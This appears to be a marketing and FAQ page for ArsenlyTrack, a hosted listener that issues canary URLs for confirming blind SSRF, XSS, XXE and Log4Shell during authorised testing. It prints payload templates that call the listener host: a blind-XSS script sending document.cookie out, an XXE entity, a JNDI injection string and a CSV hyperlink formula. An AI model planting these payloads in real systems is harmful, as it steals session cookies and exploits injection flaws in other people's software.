Passive OOB-interaction listener - Burp-Collaborator-style canary tokens for SSRF, blind XSS, XXE, Log4Shell & email-pixel testing. Plant a URL, see every hit in real time.
ArsenlyTrack is your in-house Burp-Collaborator / Interactsh / Canary-Tokens server - the missing piece for any bug-bounty / pentest workflow that relies on out-of-band interaction to confirm blind vulnerabilities.
You generate a unique 16-char canary URL like https://arsenly.com/c/k7p2x9f1a3z5q8m4, plant it in your target during testing - in an SSRF parameter, a stored-XSS field, an XXE entity, a Log4j header, a CSV cell, an email pixel - and the moment the target’s back-end or a victim’s browser resolves that URL, the request lands here with full method, URL path, headers, body, source IP, User-Agent and timestamp. Real-time updates every 3 seconds.
Passive by design. The server only LISTENS - it never connects out to anything you supplied. That keeps the tool fully compliant with shared-hosting AUP (we never scan your targets server-side).
12 copy-ready payload templates auto-filled with your token: SSRF basic / IP-decimal bypass, blind XSS (fetch · img · onerror variants), XXE OOB, Log4Shell HTTP fallback, CSV injection (=HYPERLINK), email tracking pixel, open-redirect destination, standalone SVG XSS bait.
Configurable response per canary - empty 200, transparent 1×1 GIF (for image SSRF / blind-XSS <img>), JavaScript (for <script src=...>), JSON (with custom body), or 302 redirect. CORS-open toggle for fetch-based exfil from victim browsers. Marker paths (/c/{token}/login-form-sqli) so you know which test fired.
Per-hit detail view: full request headers, body, source IP, User-Agent + reproduction as cURL or raw HTTP - paste straight into your write-up.
/whatever-marker to your bait URL; it shows up in the hits feed so you know which test fired (e.g. /c/abc.../login-sqli vs /c/abc.../search-blind-xss).Access-Control-Allow-Origin: * so victim-browser fetch() exfil works without preflight blocks.<script>fetch('https://arsenly.com/c/{tok}/bxss?c='+document.cookie)</script> in a stored field (admin name, support ticket, log message). When an internal admin views it, you receive their session cookie + URL + IP. Tag with a marker to know which form fired.<!ENTITY x SYSTEM "https://arsenly.com/c/{tok}/xxe">. The parser’s outbound fetch confirms XXE.${jndi:ldap://arsenly.com/c/{tok}/log4j} into User-Agent, X-Forwarded-For, Referer.=HYPERLINK("https://arsenly.com/c/{tok}/csv","CLICK ME") into a field that gets exported to .xlsx/.csv. Fires when the victim opens the file in Excel.Run it from your dashboard.
Create free account Sign in Use via APIYou must have permission to test the target (bug-bounty programme scope, written authorisation, or your own systems). Receiving a callback is passive on our side - the issue is whether you were allowed to plant the URL where it triggered. You are responsible for staying inside the engagement’s rules.
Same core concept - passive listener for OOB interactions. We only cover HTTP/HTTPS (not DNS or SMTP) because shared hosting can’t bind to port 53 or 25. For HTTP-only checks (most SSRF, blind XSS, XXE, Log4j HTTP fallback), this is functionally equivalent and lives inside your account - no separate tool to install. For DNS-only OOB (some XXE / SSRF variants), Interactsh is still the right tool.
HTTP method, the full URL path including any marker, query string (up to 2 KB), all request headers as JSON (up to 8 KB total), request body (up to 32 KB), source IP, User-Agent, Referer, protocol version, TLS yes/no, timestamp. Tied to your account - visible only to you. Auto-deleted after 30 days.
Indefinitely while the canary exists. You can disable a canary (returns 404 to new hits) or delete it (cascades all its hits). 50 canaries per account - reuse them across engagements with descriptive labels.
Yes - 1000 hits per canary, after which new hits get the configured response but aren’t logged. Prevents a runaway scanner flooding your account. Click Clear hits to reset the counter.
No. The server only RECEIVES inbound requests. Nothing in the marker path or query string causes outbound connections. This is critical for staying compliant with our shared-hosting provider’s AUP.
Not yet in v1 - webhook forwarding is on the roadmap. For now, keep the tab open with notifications enabled or check in periodically.